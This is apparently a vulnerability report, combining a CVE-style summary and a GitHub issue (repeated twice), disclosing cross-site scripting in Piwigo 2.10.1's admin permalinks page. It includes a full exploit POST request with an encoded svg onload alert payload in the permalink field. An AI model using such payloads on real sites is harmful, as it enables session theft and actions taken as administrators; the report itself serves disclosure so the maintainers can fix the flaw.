A cross site scripting (XSS) vulnerability in /admin.php?page=permalinks of Piwigo 2.10.1 allows attackers to execute arbitrary web scripts or HTML.
Hi team!

I found a XSS in XSS in /admin.php?page=permalinks

Exploit Request:
```
POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks
Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21
Upgrade-Insecure-Requests: 1

cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763
```

PoC:
![](https://i.imgur.com/MtpbJZA.png)
![](https://i.imgur.com/OTEVWml.png)
XSS in /admin.php?page=permalinks
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : XSS in /admin.php?page=permalinks
Issue date:

--- start body ---
Hi team!

I found a XSS in XSS in /admin.php?page=permalinks

Exploit Request:
```
POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks
Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21
Upgrade-Insecure-Requests: 1

cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763
```

PoC:
![](https://i.imgur.com/MtpbJZA.png)
![](https://i.imgur.com/OTEVWml.png)
--- end body ---

A Cross-Site Scripting (XSS) vulnerability exists in the Piwigo application at the endpoint /admin.php?page=permalinks. An attacker can exploit this vulnerability by sending a specially crafted POST request that includes malicious JavaScript code in the 'permalink' parameter. This can lead to the execution of arbitrary JavaScript in the context of the user's browser, potentially allowing the attacker to steal session cookies or perform actions on behalf of the user.